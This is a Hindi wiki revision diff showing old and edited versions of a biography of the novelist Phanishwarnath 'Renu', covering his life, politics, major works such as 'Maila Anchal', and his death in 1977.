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हिन्दी कथा साहित्य के महत्वपूर्ण रचनाकार फणीश्वरनाथ 'रेणु' का जन्म 4 मार्च 1921 को [[बिहार]] के [[पूर्णिया ज़िला]] के औराही हिंगना गांव में हुआ था। रेणु के पिता शिलानाथ मंडल संपन्न व्यक्ति थे। [[भारत]] के स्वाधीनता संघर्ष में उन्होंने भाग लिया था। रेणु के पिता कांग्रेसी थे। रेणु का बचपन आज़ादी की लड़ाई को देखते समझते बीता। रेणु ने स्वंय लिखा है - '''पिताजी किसान थे और इलाके के स्वराज-आंदोलन के प्रमुख कार्यकर्ता। खादी पहनते थे, घर में चरखा चलता था।''' स्वाधीनता संघर्ष की चेतना रेणु में उनके पारिवारिक वातावरण से आयी थी। रेणु भी बचपन और किशोरावस्था में ही देश की आजादी की लड़ाई से जुड़ गए थे। 1930-31 ई. में जब रेणु 'अररिया हाईस्कूल' के चौथे दर्जे में पढ़ते थे तभी [[महात्मा गाँधी]] की गिरफ्तारी के बाद अररिया में हड़ताल हुई, स्कूल के सारे छात्र भी हड़ताल पर रहे। रेणु ने अपने स्कूल के असिस्टेंट हेडमास्टर को स्कूल में जाने से रोका। रेणु को इसकी सजा मिली लेकिन इसके साथ ही वे इलाके के '''बहादुर सुराजी''' के रूप में प्रसिद्ध हो गए।
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'''फणीश्वरनाथ रेणु''' ([[अंग्रेज़ी]]: Phanishwarnath 'Renu', जन्म: [[4 मार्च]], [[1921]] - मृत्यु: [[11 अप्रैल]], [[1977]]) एक सुप्रसिद्ध [[हिन्दी]] [[साहित्यकार]] थे। हिन्दी कथा [[साहित्य]] के महत्त्वपूर्ण रचनाकार फणीश्वरनाथ 'रेणु' का जन्म 4 मार्च 1921 को [[बिहार]] के [[पूर्णिया ज़िला]] के 'औराही हिंगना' गांव में हुआ था। रेणु के पिता शिलानाथ मंडल संपन्न व्यक्ति थे। [[भारत]] के स्वाधीनता संघर्ष में उन्होंने भाग लिया था। रेणु के पिता कांग्रेसी थे। रेणु का बचपन आज़ादी की लड़ाई को देखते समझते बीता। रेणु ने स्वंय लिखा है - '''पिताजी किसान थे और इलाके के स्वराज-आंदोलन के प्रमुख कार्यकर्ता। खादी पहनते थे, घर में चरखा चलता था।''' स्वाधीनता संघर्ष की चेतना रेणु में उनके पारिवारिक वातावरण से आयी थी। रेणु भी बचपन और किशोरावस्था में ही देश की आज़ादी की लड़ाई से जुड़ गए थे। [[1930]]-[[1931|31]] ई. में जब रेणु 'अररिया हाईस्कूल' के चौथे दर्जे में पढ़ते थे तभी [[महात्मा गाँधी]] की गिरफ्तारी के बाद अररिया में हड़ताल हुई, स्कूल के सारे छात्र भी हड़ताल पर रहे। रेणु ने अपने स्कूल के असिस्टेंट हेडमास्टर को स्कूल में जाने से रोका। रेणु को इसकी सज़ा मिली लेकिन इसके साथ ही वे इलाके के '''बहादुर सुराजी''' के रूप में प्रसिद्ध हो गए।<ref>{{cite web |url=http://www.biharenews.com/index.php?file=news.php&id=107&page=1|title=फणीश्वरनाथ रेणु:एक परिचय|accessmonthday=13 जनवरी |accessyear=2011 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref>
 
==शिक्षा==
 
==शिक्षा==
रेणु की प्रारंभिक शिक्षा 'फॉरबिसगंज' तथा 'अररिया' में हुई। रेणु ने प्रारम्भिक शिक्षा के बाद मैट्रिक [[नेपाल]] के 'विराटनगर' के 'विराटनगर आदर्श विद्यालय' से कोईराला परिवार में रहकर किया। रेणु ने इन्टरमीडिएट [[काशी हिन्दू विश्वविद्यालय]] से 1942 में किया और उसके बाद वह स्वतंत्रता संग्राम में कूद पड़े। 1950 में रेणु ने 'नेपाली क्रांतिकारी आन्दोलन' में भी भाग लिया।  
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रेणु की प्रारंभिक शिक्षा 'फॉरबिसगंज' तथा 'अररिया' में हुई। रेणु ने प्रारम्भिक शिक्षा के बाद मैट्रिक [[नेपाल]] के 'विराटनगर' के 'विराटनगर आदर्श विद्यालय' से कोईराला परिवार में रहकर किया। रेणु ने इन्टरमीडिएट [[काशी हिन्दू विश्वविद्यालय]] से [[1942]] में किया और उसके बाद वह स्वतंत्रता संग्राम में कूद पड़े। [[1950]] में रेणु ने 'नेपाली क्रांतिकारी आन्दोलन' में भी भाग लिया। [[चित्र:Parti-parikatha.jpg|left|thumb|उपन्यास 'परती परिकथा']]
 
;समाजवाद और बिहार सोशलिस्ट पार्टी
 
;समाजवाद और बिहार सोशलिस्ट पार्टी
बाद में रेणु पढ़ने के लिए [[बनारस]] चले गये। बनारस में रेणु ने 'स्टुडेंट फेडरेशन' के कार्यकर्ता के रूप में भी कार्य किया। आगे रेणु समाजवाद से प्रभावित हुए। 1938 ई० में सोनपुर, बिहार में 'समर स्कूल ऑफ पालिटिक्स' में रेणु शामिल हुए। इस स्कूल के प्रिंसिपल [[जयप्रकाश नारायण]] थे और कमला देवी चट्टोपाध्याय, मीनू मसानी, अच्युत पटवर्धन, नरेन्द्र देव, अशोक मेहता जैसे लोगों ने इस स्कूल में शिक्षण कार्य किया था। इसी स्कूल में भाग लेने के बाद रेणु समाजवाद और बिहार सोशलिस्ट पार्टी से जुड़ गए। समाजवाद के प्रति रुझान पैदा करने वाले लोगों में रेणु रामवृक्ष बेनीपुरी का भी नाम लेते हैं।
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बाद में रेणु पढ़ने के लिए [[बनारस]] चले गये। बनारस में रेणु ने 'स्टुडेंट फेडरेशन' के कार्यकर्ता के रूप में भी कार्य किया। आगे चलकर रेणु समाजवाद से प्रभावित हुए। 1938 ई० में [[सोनपुर]], बिहार में 'समर स्कूल ऑफ पॉलिटिक्स' में रेणु शामिल हुए। इस स्कूल के प्रिंसिपल [[जयप्रकाश नारायण]] थे और [[कमला देवी चट्टोपाध्याय |कमला देवी चट्टोपाध्याय]], मीनू मसानी, अच्युत पटवर्धन, नरेन्द्र देव, [[अशोक मेहता]] जैसे लोगों ने इस स्कूल में शिक्षण कार्य किया था। इसी स्कूल में भाग लेने के बाद रेणु समाजवाद और 'बिहार सोशलिस्ट पार्टी' से जुड़ गए। समाजवाद के प्रति रुझान पैदा करने वाले लोगों में रेणु [[रामवृक्ष बेनीपुरी]] का भी नाम लेते हैं।
==सक्रिय राजनीति==
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==राजनीति और आंदोलन==
वे सिर्फ़ सृजनात्मक व्यक्तित्व के स्वामी ही नहीं बल्कि एक सजग नागरिक व देशभक्त भी थे। 1942 के 'भारत छोड़ो आंदोलन' में उन्होंने सक्रिय रूप से योगदान दिया। इस प्रकार एक स्वतंत्रता सेनानी के रूप में उन्होंने अपनी पहचान बनाई। इस चेतना का वे जीवनपर्यंत पालन करते रहे और सत्ता के दमन और शोषण के विरुद्ध आजीवन संघर्षरत रहे।  
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वे सिर्फ़ सृजनात्मक व्यक्तित्व के स्वामी ही नहीं बल्कि एक सजग नागरिक व देशभक्त भी थे। [[1942]] के '[[भारत छोड़ो आंदोलन |भारत छोड़ो आंदोलन]]' में उन्होंने सक्रिय रूप से योगदान दिया। इस प्रकार एक स्वतंत्रता सेनानी के रूप में उन्होंने अपनी पहचान बनाई। इस चेतना का वे जीवनपर्यंत पालन करते रहे और सत्ता के दमन और शोषण के विरुद्ध आजीवन संघर्षरत रहे। [[1950]] में [[बिहार]] के पड़ोसी देश [[नेपाल]] में राजशाही दमन बढने पर वे नेपाल की जनता को राणाशाही के दमन और अत्याचारों से मुक्ति दिलाने के संकल्प के साथ वहां पहुंचे और वहां की जनता द्वारा जो सशस्त्र क्रांति व राजनीति की जा रही थी, उसमें सक्रिय योगदान दिया।  
 
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दमन और शोषण के विरुद्ध आजीवन संघर्षरत रहे 'रेणु' ने सक्रिय राजनीति में भी हिस्सेदारी की। 1952-53 के दौरान वे बहुत लम्बे समय तक बीमार रहे। फलस्वरूप वे सक्रिय राजनीति से हट गए। उनका झुकाव साहित्य सृजन की ओर हुआ। [[1954]] में उनका पहला उपन्यास 'मैला आंचल' प्रकाशित हुआ। '''मैला आंचल उपन्यास को इतनी ख्याति मिली कि रातों-रात उन्हें शीर्षस्थ हिन्दी लेखकों में गिना जाने लगा।''' <br />
1950 में बिहार के पड़ेसी देश नेपाल में राजशाही दमन बढने पर वे नेपाल की जनता को राणाशाही के दमन और अत्याचारों से मुक्ति दिलाने के संकल्प के साथ वहां पहुंचे और वहां की जनता द्वारा जो सशस्त्र क्रांति व राजनीति की जा रही थी, उसमें सक्रिय योगदान दिया।  
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जीवन के सांध्यकाल में राजनीतिक आन्दोलन से उनका पुनः गहरा जुड़ाव हुआ। [[1975]] में लागू आपातकाल का जे.पी. के साथ उन्होंने भी कड़ा विरोध किया। सत्ता के दमनचक्र के विरोध स्वरूप उन्होंने [[पद्मश्री]] की मानद उपाधि लौटा दी। उनको न सिर्फ़ आपात स्थिति के विरोध में सक्रिय हिस्सेदारी के लिए पुलिस यातना झेलनी पड़ी बल्कि जेल भी जाना पड़ा। [[23 मार्च]] [[1977]] को जब आपात स्थिति हटी तो उनका संघर्ष सफल हुआ। परन्तु वो इसके बाद अधिक दिनों तक जीवित न रह पाए। रोग से ग्रसित उनका शरीर जर्जर हो चुका था।
 
 
दमन और शोषण के विरुद्ध आजीवन संघर्षरत रहे 'रेणु' ने सक्रिय राजनीति में भी हिस्सेदारी की। 1952-53 के दौरान वे बहुत लम्बे समय तक बीमार रहे। फलस्वरूप वे सक्रिय राजनीति से हट गए। उनका झुकाव साहित्य सृजन की ओर हुआ। 1954 में उनका पहला उपन्यास 'मैला आंचल' प्रकाशित हुआ। इस उपन्यास को इतनी ख्याति मिली कि रातों-रात उन्हें शीर्षस्थ हिन्दी लेखकों में गिना जाने लगा।  
 
 
 
जीवन के सांध्यकाल में राजनीतिक आन्दोलन से उनका पुनः गहरा जुड़ाव हुआ। 1975 में लागू आपातकाल का जे.पी. के साथ उन्होंने भी कड़ा विरोध किया। सत्ता के दमनचक्र के विरोध स्वरूप उन्होंने पद्मश्री की मानद उपाधि लौटा दी। उनको न सिर्फ़ आपात् स्थिति के विरोध में सक्रिय हिस्सेदारी के लिए पुलिस यातना झेलनी पड़ी बल्कि जेल भी जाना पड़ा। 23 मार्च 1977 को जब आपात स्थिति हटी तो उनका संघर्ष सफल हुआ। परन्तु वो इसके बाद अधिक दिनों तक जीवित न रह पाए। रोग से ग्रसित उनका शरीर जर्जर हो चुका था।  
 
 
==लेखन कार्य==  
 
==लेखन कार्य==  
फणीश्वर्नाथ रेणु ने 1936 के आसपास से कहानी लेखन की शुरुआत की थी। उस समय कुछ कहानियाँ प्रकाशित भी हुई थीं, किंतु वे किशोर रेणु की अपरिपक्व कहानियाँ थी। 1942 के आंदोलन में गिरफ्तार होने के बाद जब वे 1944 में जेल से मुक्त हुए, तब घर लौटने पर उन्होंने 'बटबाबा' नामक पहली परिपक्व कहाँई लिखी। 'बटबाबा' साप्ताहिक 'विश्वमित्र' के 27 अगस्त 1944 के अंक में प्रकाशित हुई। रेणु की दूसरी कहानी 'पहलवान की ढोलक' 11 दिसम्बर 1944 को साप्ताहिक 'विश्वमित्र' में छ्पी। 1972 मेंरेणु ने अपनी अंतिम कहानी 'भित्तिचित्र की मयूरी' लिखी। उनकी अब तक उपलब्ध कहानियों की संख्या 63 है।
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फणीश्वरनाथ रेणु ने [[1936]] के आसपास से कहानी लेखन की शुरुआत की थी। उस समय कुछ कहानियाँ प्रकाशित भी हुई थीं, किंतु वे किशोर रेणु की अपरिपक्व कहानियाँ थी। [[1942]] के आंदोलन में गिरफ़्तार होने के बाद जब वे [[1944]] में जेल से मुक्त हुए, तब घर लौटने पर उन्होंने 'बटबाबा' नामक पहली परिपक्व कहानी लिखी। 'बटबाबा' 'साप्ताहिक विश्वमित्र' के [[27 अगस्त]] [[1944]] के अंक में प्रकाशित हुई। रेणु की दूसरी कहानी 'पहलवान की ढोलक' [[11 दिसम्बर]] [[1944]] को 'साप्ताहिक विश्वमित्र' में छ्पी। [[1972]] में रेणु ने अपनी अंतिम कहानी 'भित्तिचित्र की मयूरी' लिखी। उनकी अब तक उपलब्ध कहानियों की संख्या 63 है। 'रेणु' को जितनी प्रसिद्धि [[उपन्यास|उपन्यासों]] से मिली, उतनी ही प्रसिद्धि उनको उनकी कहानियों से भी मिली। 'ठुमरी', 'अगिनखोर', 'आदिम रात्रि की महक', 'एक श्रावणी दोपहरी की धूप', 'अच्छे आदमी', 'सम्पूर्ण कहानियां', आदि उनके प्रसिद्ध कहानी संग्रह हैं।
 
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====फ़िल्म 'तीसरी क़सम'====
'रेणु' को जितनी प्रसिद्धि उपन्यासों से मिली, उतनी ही प्रसिद्धि उनको उनकी कहानियों से भी मिली। 'ठुमरी', 'अगिनखोर', 'आदिम रात्रि की महक', 'एक श्रावणी दोपहरी की धूप', 'अच्छे आदमी', 'सम्पूर्ण कहानियां', आदि उनके प्रसिद्ध कहानी संग्रह हैं।
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[[चित्र:Teesri-kasam.jpg|thumb|फ़िल्म 'तीसरी क़सम' का पोस्टर]]
;तीसरी क़सम
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उनकी कहानी 'मारे गए गुलफ़ाम' पर आधारित फ़िल्म 'तीसरी क़सम' ने भी उन्हें काफ़ी प्रसिद्धि दिलवाई। इस फ़िल्म में [[राजकपूर]] और [[वहीदा रहमान]] ने मुख्य भूमिका में अभिनय किया था। 'तीसरी क़सम' को  बासु भट्टाचार्य ने निर्देशित किया था और इसके निर्माता सुप्रसिद्ध गीतकार [[शैलेन्द्र]] थे। यह फ़िल्म हिंदी सिनेमा में मील का पत्थर मानी जाती है।  
उनकी कहानी 'मारे गए गुलफ़ाम' पर आधारित फ़िल्म 'तीसरी क़सम' ने भी उन्हें काफ़ी प्रसिद्धि दिलावाई। इस फ़िल्म में [[राजकपूर]] और [[वहीदा रहमान]] ने मुख्य भूमिका में अभिनय किया था। 'तीसरी कसम' को  बासु भट्टाचार्य ने निर्देशित किया था और इसके निर्माता सुप्रसिद्ध गीतकार शैलेन्द्र थे। यह फिल्म हिंदी सिनेमा में मील का पत्थर मानी है।  
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कथा-साहित्य के अलावा उन्होंने [[संस्मरण]], [[रेखाचित्र]] और [[रिपोर्ताज]] आदि विधाओं में भी लिखा। उनके कुछ संस्मरण भी काफ़ी मशहूर हुए। 'ऋणजल धनजल', 'वन-तुलसी की गंध', 'श्रुत अश्रुत पूर्व', 'समय की शिला पर', 'आत्म परिचय' उनके संस्मरण हैं। इसके अतिरिक्त वे 'दिनमान पत्रिका' में रिपोर्ताज भी लिखते थे। 'नेपाली क्रांति कथा' उनके रिपोर्ताज का उत्तम उदाहरण है।  
 
 
कथा-साहित्य के अलावा उन्होंने संस्मरण, रेखाचित्र और रिपोर्ताज आदि विधाओं में भी लिखा। उनके कुछ संस्मरण भी काफ़ी मशहूर हुए। 'ऋणजल धनजल', 'वन-तुलसी की गंध', 'श्रुत अश्रुत पूर्व', 'समय की शिला पर', 'आत्म परिचय' उनके संस्मरण हैं। इसके अतिरिक्त वे 'दिनमान' पत्रिका में रिपोर्ताज भी लिखते थे। 'नेपाली क्रांति कथा' उनके रिपोर्ताज का उत्तम उदाहरण है।  
 
 
;आंचलिक कथा  
 
;आंचलिक कथा  
उन्होंने हिन्दी में आंचलिक कथा की नींव रखी । [[सच्चिदानन्द हीरानन्द वात्स्यायन अज्ञेय]], एक समकालीन कवि, उनके परम मित्र थे। इनकी कई रचनाओं में कटिहार के रेलवे स्टेशन का उल्लेख मिलता है ।
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उन्होंने [[हिन्दी]] में आंचलिक कथा की नींव रखी। [[सच्चिदानन्द हीरानन्द वात्स्यायन अज्ञेय]], एक समकालीन कवि, उनके परम मित्र थे। इनकी कई रचनाओं में [[कटिहार]] के रेलवे स्टेशन का उल्लेख मिलता है।
 
;लेखन शैली  
 
;लेखन शैली  
इनकी लेखन शैली वर्णणात्मक थी जिसमें पात्र के प्रत्येक मनोवैज्ञानिक सोच का विवरण लुभावने तरीके से किया होता था । पात्रों का चरित्र-निर्माण काफी तेजी से होता था क्योंकि पात्र एक सामान्य-सरल मानव मन (प्रायः) के अतिरिक्त और कुछ नहीं होता था। इनकी लगभग हर कहानी में पात्रों की सोच घटनाओं से प्रधान होती थी। 'एक आदिम रात्रि की महक' इसका एक सुंदर उदाहरण है। इनकी लेखन-शैली [[प्रेमचंद]] से काफी मिलती थी और इन्हें आजादी के बाद का प्रेमचंद की संज्ञा भी दी जाती है । अपनी कृतियों में उन्होने आंचलिक पदों का बहुत प्रयोग किया है ।
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इनकी लेखन शैली वर्णनात्मक थी जिसमें पात्र के प्रत्येक मनोवैज्ञानिक सोच का विवरण लुभावने तरीके से किया होता था। पात्रों का चरित्र-निर्माण काफ़ी तेज़ीसे होता था क्योंकि पात्र एक सामान्य-सरल मानव मन (प्रायः) के अतिरिक्त और कुछ नहीं होता था। इनकी लगभग हर कहानी में पात्रों की सोच घटनाओं से प्रधान होती थी। 'एक आदिम रात्रि की महक' इसका एक सुंदर उदाहरण है। इनकी लेखन-शैली [[प्रेमचंद]] से काफ़ी मिलती थी और इन्हें '''आज़ादी के बाद का प्रेमचंद''' की संज्ञा भी दी जाती है। अपनी कृतियों में उन्होंने आंचलिक पदों का बहुत प्रयोग किया है।
;भाषा द्वारा चित्रण
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====मैला आंचल====
उन्होंने अंचल विशेष की भाषा का अधिक से अधिक प्रयोग किया ताकि उस जन समुदाय को ज़्यादा से ज़्यादा प्रामाणिकता से चित्रित किया जा सके। 'रेणु' ने अपनी अनेक रचनाओं में आंचलिक परिवेश के सौंदर्य, उसकी सजीवता और मानवीय संवेदनाओं को अद्वितीय ढंग से वर्णित किया है। दृश्यों को चित्रित करने के लिए उन्होंने गीत, लय-ताल, वाद्य, ढोल, खंजड़ी नृत्य, लोकनाटक जैसे उपकरणों का सुंदर प्रयोग किया है। 'रेणु' ने मिथक, लोकविश्वास, अंधविश्वास, किंवदंतियां, लोकगीत- इन सभी को अपनी रचनाओं में स्थान दिया है। उन्होंने 'मैला आंचल' उपन्यास में अपने अंचल का इतना गहरा व व्यापक चित्र खींचा है कि सचमुच यह उपन्यास हिन्दी में आंचलिक औपन्यासिक परंपरा की सर्वश्रेष्ठ कृति बन गया है। उनका साहित्य हिंदी जाति के सौंदर्य बोध को समृद्ध करने के साथ-साथ अमानवीयता, पराधीनता और साम्राज्यवाद का प्रतिवाद भी करता है। व्यक्ति और कृतिकार दोनों ही रूपों में 'रेणु' अप्रतिम थे।
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[[चित्र:Maila-anchal.jpg|thumb|left|उपन्यास 'मैला आंचल']]
;मैला आंचल
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'रेणु' जी का 'मैला आंचल' वस्तु और शिल्प दोनों स्तरों पर सबसे अलग है। इसमें एक नए शिल्प में ग्रामीण-जीवन को चित्रित किया गया है। इसकी विशेषता है कि इसका नायक कोई व्यक्ति (पुरुष या महिला) नहीं वरन् पूरा का पूरा अंचल ही इसका नायक है। मिथिलांचल की पृष्ठभूमि पर रचे इस उपन्यास में उस अंचल की भाषा विशेष का अधिक से अधिक प्रयोग किया गया है। यह प्रयोग इतना सार्थक है कि वह वहां के लोगों की इच्छा-आकांक्षा, रीति-रिवाज़, पर्व-त्यौहार, सोच-विचार, को पूरी प्रामाणिकता के साथ पाठक के सामने उपस्थित करता है। इसकी भूमिका, [[9 अगस्त]] [[1954]], को लिखते हुए फणीश्वरनाथ 'रेणु' कहते हैं,
'रेणु' जी का 'मैला आंचल' वस्तु और शिल्प दोनों स्तरों पर सबसे अलग है। इसमें एक नए शिल्प में ग्रामीण-जीवन को चित्रित किया गया है। इसकी विशेषता है कि इसका नायक कोई व्यक्ति (पुरुष या महिला) नहीं वरन पूरा का पूरा अंचल ही इसका नायक है। मिथिलांचल की पृष्ठभूमि पर रचे इस उपन्यास में उस अंचल की भाषा विशेष का अधिक से अधिक प्रयोग किया गया है। यह प्रयोग इतना सार्थक है कि वह वहां के लोगों की इच्छा-आकांक्षा, रीति-रिवाज़, पर्व-त्यौहार, सोच-विचार, को पूरी प्रामाणिकता के साथ पाठक के सामने उपस्थित करता है। इसकी भूमिका, 9 अगस्त 1954, को लिखते हुए फणीश्वरनाथ 'रेणु' कहते हैं,
+
'यह है मैला आंचल, एक आंचलिक उपन्यास। इस उपन्यास के केन्द्र में है [[बिहार]] का [[पूर्णिया ज़िला]], जो काफ़ी पिछड़ा है।' रेणु कहते हैं,
'यह है मैला आंचल, एक आंचलिक उपन्यास। इस उपन्यास के केन्द्र में है बिहार का पूर्णिया ज़िला, जो काफ़ी पिछड़ा है।' रेणु कहते हैं,
+
<blockquote>'''इसमें फूल भी है, शूल भी, धूल भी है, गुलाब भी, कीचड़ भी है, चंदन भी, सुंदरता भी है, कुरूपता भी – मैं किसी से दामन बचाकर नहीं निकल पाया।<ref>{{cite web |url=http://raj-bhasha-hindi.blogspot.com/2012/01/15.html|title=पुस्तक परिचय-15 : “मैला आंचल”|accessmonthday=13 जनवरी |accessyear=2011 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref> '''</blockquote>
 
+
====भाषा द्वारा चित्रण====
<blockquote>'''इसमें फूल भी है, शूल भी, धूल भी है, गुलाब भी, कीचड़ भी है, चंदन भी, सुंदरता भी है, कुरूपता भी – मैं किसी से दामन बचाकर नहीं निकल पाया।'''</blockquote>
+
उन्होंने अंचल विशेष की [[भाषा]] का अधिक से अधिक प्रयोग किया ताकि उस जन समुदाय को ज़्यादा से ज़्यादा प्रमाणिकता से चित्रित किया जा सके। 'रेणु' ने अपनी अनेक रचनाओं में आंचलिक परिवेश के सौंदर्य, उसकी सजीवता और मानवीय संवेदनाओं को अद्वितीय ढंग से वर्णित किया है। दृश्यों को चित्रित करने के लिए उन्होंने गीत, लय-ताल, वाद्य, ढोल, खंजड़ी नृत्य, लोकनाटक जैसे उपकरणों का सुंदर प्रयोग किया है। 'रेणु' ने मिथक, लोकविश्वास, अंधविश्वास, किंवदंतियां, लोकगीत- इन सभी को अपनी रचनाओं में स्थान दिया है। उन्होंने 'मैला आंचल' उपन्यास में अपने अंचल का इतना गहरा व व्यापक चित्र खींचा है कि सचमुच यह उपन्यास [[हिन्दी]] में आंचलिक औपन्यासिक परंपरा की सर्वश्रेष्ठ कृति बन गया है। उनका साहित्य हिंदी जाति के सौंदर्य बोध को समृद्ध करने के साथ-साथ अमानवीयता, पराधीनता और साम्राज्यवाद का प्रतिवाद भी करता है। व्यक्ति और कृतिकार दोनों ही रूपों में 'रेणु' अप्रतिम थे।<ref>{{cite web |url=http://raj-bhasha-hindi.blogspot.com/2010/10/7_21.html|title=फणीश्वरनाथ रेणु |accessmonthday=13 जनवरी |accessyear=2011 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref>
 
 
==निधन==
 
रेणु सरकारी दमन और शोषण के विरुद्ध ग्रामीण जनता के साथ प्रदर्शन करते हुए जेल गये। रेणु ने आपातकाल का विरोध करते हुए अपना 'पद्मश्री' का सम्मान भी लौटा दिया। इसी समय रेणु ने पटना में 'लोकतंत्र रक्षी साहित्य मंच' की स्थापना की। इस समय तक रेणु को 'पेल्टिक अल्सर' की गंभीर बीमारी हो गयी थी। लेकिन इस बीमारी के बाद भी रेणु ने 1977 ई० में नवगठित जनता पार्टी के लिए चुनाव में काफी काम किया। 11 अप्रैल 1977 ई० को रेणु उसी 'पेल्टिक अल्सर' की बीमारी के कारण चल बसे।
 
 
==रचनाएँ==
 
==रचनाएँ==
रेणु की कुल 26 पुस्तकें हैं। इन पुस्तकों में संकलित रचनाओं के अलावा भी काफी रचनाएँ हैं जो संकलित नहीं हो पायीं, कई अप्रकाशित आधी अधूरी रचनाएँ हैं। असंकलित पत्र पहली बार 'रेणु रचनावली' में शामिल किये गये हैं।
+
रेणु की कुल 26 पुस्तकें हैं। इन पुस्तकों में संकलित रचनाओं के अलावा भी काफ़ी रचनाएँ हैं जो संकलित नहीं हो पायीं, कई अप्रकाशित आधी अधूरी रचनाएँ हैं। असंकलित पत्र पहली बार 'रेणु रचनावली' में शामिल किये गये हैं।
साहित्यिक कृतियां  
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====साहित्यिक कृतियां====
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{| class="bharattable-green"
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|-valign="top"
 +
|
 
;उपन्यास  
 
;उपन्यास  
*मैला आंचल 1954
+
*[[मैला आंचल -फणीश्वरनाथ रेणु|मैला आंचल]] 1954
*परती परिकथा 1957
+
*[[परती परिकथा -फणीश्वरनाथ रेणु|परती परिकथा]] 1957
 
*जूलूस 1965
 
*जूलूस 1965
 
*दीर्घतपा 1964 (जो बाद में कलंक मुक्ति (1972) नाम से प्रकाशित हुई)
 
*दीर्घतपा 1964 (जो बाद में कलंक मुक्ति (1972) नाम से प्रकाशित हुई)
 
*कितने चौराहे 1966
 
*कितने चौराहे 1966
*पल्टू बाबू रोड 1979 (यह उपन्यास 'ज्योत्सना' के अंकों से निकालकर अनुपम प्रकाशन ने प्रकाशित किया)
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*पल्टू बाबू रोड 1979 <ref>(यह उपन्यास 'ज्योत्सना' के अंकों से निकालकर अनुपम प्रकाशन ने प्रकाशित किया)</ref>
 
;कथा-संग्रह  
 
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*आदिम रात्रि की महक 1967
 
*आदिम रात्रि की महक 1967
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*अगिनखोर 1973  
 
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*अच्छे आदमी 1986  
 
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*ऋणजल धनजल 1977 (मृत्यु के बाद प्रकाशित)
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*ऋणजल धनजल 1977<ref>मृत्यु के बाद प्रकाशित</ref>
*नेपाली क्रांतिकथा 1977 (मृत्यु के बाद प्रकाशित)
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*नेपाली क्रांतिकथा 1977<ref>मृत्यु के बाद प्रकाशित</ref>
 
*वनतुलसी की गंध 1984
 
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*एक श्रावणी दोपहरी की धूप 1984
 
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*श्रुत अश्रुत पूर्व 1986   
 
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;संस्मरण
 
*आत्म परिचय
 
*समय की शिला पर
 
 
;प्रसिद्ध कहानियां  
 
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*मारे गये गुलफाम (तीसरी कसम)
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*मारे गये गुलफाम<ref>'मारे गये गुलफाम' कहानी पर प्रसिद्ध गीतकार [[शैलेंद्र]] ने फ़िल्म 'तीसरी कसम' का निर्माण किया जिसमें [[राजकपूर]] और [[वहीदा रहमान]] ने अभिनय किया। </ref>
 
*एक आदिम रात्रि की महक  
 
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*लाल पान की बेगम  
 
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;ग्रंथावली
 
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*फणीश्वरनाथ रेणु ग्रंथावली
 
*फणीश्वरनाथ रेणु ग्रंथावली
;बारह वर्षों के अनथक प्रयासों से भारत यायावर के सम्पादन में रेणु की निम्न नई पुस्तकें प्रकाशित हुई-  
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; प्रकाशित पुस्तकें<ref>{{cite book | last =यायावर| first =भारत| title =रेणु रचनावली| edition =प्रथम संस्करण| publisher =राजकमल प्रकाशन| location =भारत डिस्कवरी पुस्तकालय| language = हिंदी| pages =11| chapter =भाग-1}}</ref>
 
*वनतुलसी की गंध 1984
 
*वनतुलसी की गंध 1984
 
*एक श्रावणी दोपहरी की धूप 1984
 
*एक श्रावणी दोपहरी की धूप 1984
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*रेणु की श्रेष्ठ कहानियाँ 1992  
 
*रेणु की श्रेष्ठ कहानियाँ 1992  
 
*चिठिया हो तो हर कोई बाँचे (यह पुस्तक प्रकाश्य में है)
 
*चिठिया हो तो हर कोई बाँचे (यह पुस्तक प्रकाश्य में है)
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अपने प्रथम उपन्यास मैला आंचल के लिये उन्हें [[पद्मश्री]] से सम्मानित किया गया ।
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अपने प्रथम उपन्यास [[मैला आंचल -फणीश्वरनाथ रेणु|मैला आंचल]] के लिये उन्हें [[पद्मश्री]] से सम्मानित किया गया।
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==निधन==
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रेणु सरकारी दमन और शोषण के विरुद्ध ग्रामीण जनता के साथ प्रदर्शन करते हुए जेल गये। रेणु ने आपातकाल का विरोध करते हुए अपना 'पद्मश्री' का सम्मान भी लौटा दिया। इसी समय रेणु ने पटना में 'लोकतंत्र रक्षी साहित्य मंच' की स्थापना की। इस समय तक रेणु को 'पैप्टिक अल्सर' की गंभीर बीमारी हो गयी थी। लेकिन इस बीमारी के बाद भी रेणु ने [[1977]] ई. में नवगठित जनता पार्टी के लिए चुनाव में काफ़ी काम किया। [[11 अप्रैल]] [[1977]] ई. को रेणु उसी 'पैप्टिक अल्सर' की बीमारी के कारण चल बसे।<ref>{{cite web |url=http://www.biharenews.com/index.php?file=news.php&id=107&page=1|title=फणीश्वरनाथ रेणु:एक परिचय|accessmonthday=13 जनवरी |accessyear=2011 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref> 
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फणीश्वरनाथ रेणु
फणीश्वरनाथ रेणु
पूरा नाम फणीश्वरनाथ रेणु
अन्य नाम रेणु
जन्म 4 मार्च, 1921
जन्म भूमि पूर्णिया ज़िला, बिहार
मृत्यु 11 अप्रैल, 1977
अभिभावक शिलानाथ (पिता)
कर्म भूमि बिहार
कर्म-क्षेत्र उपन्यासकार, लेखक
मुख्य रचनाएँ मैला आंचल (1954), परती परिकथा (1957), जूलूस (1965), कितने चौराहे (1966) आदि।
विषय कहानी, उपन्यास, रिपोर्ताज, संस्मरण, रेखाचित्र
भाषा हिन्दी
विद्यालय काशी हिन्दू विश्वविद्यालय
शिक्षा इन्टरमीडिएट
पुरस्कार-उपाधि पद्मश्री
विशेष योगदान 1942 के 'भारत छोड़ो आंदोलन' में उन्होंने सक्रिय रूप से योगदान दिया।
नागरिकता भारतीय
अन्य जानकारी एक स्वतंत्रता सेनानी के रूप में भी अपनी पहचान बनाई और सत्ता के दमन और शोषण के विरुद्ध आजीवन संघर्षरत रहे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

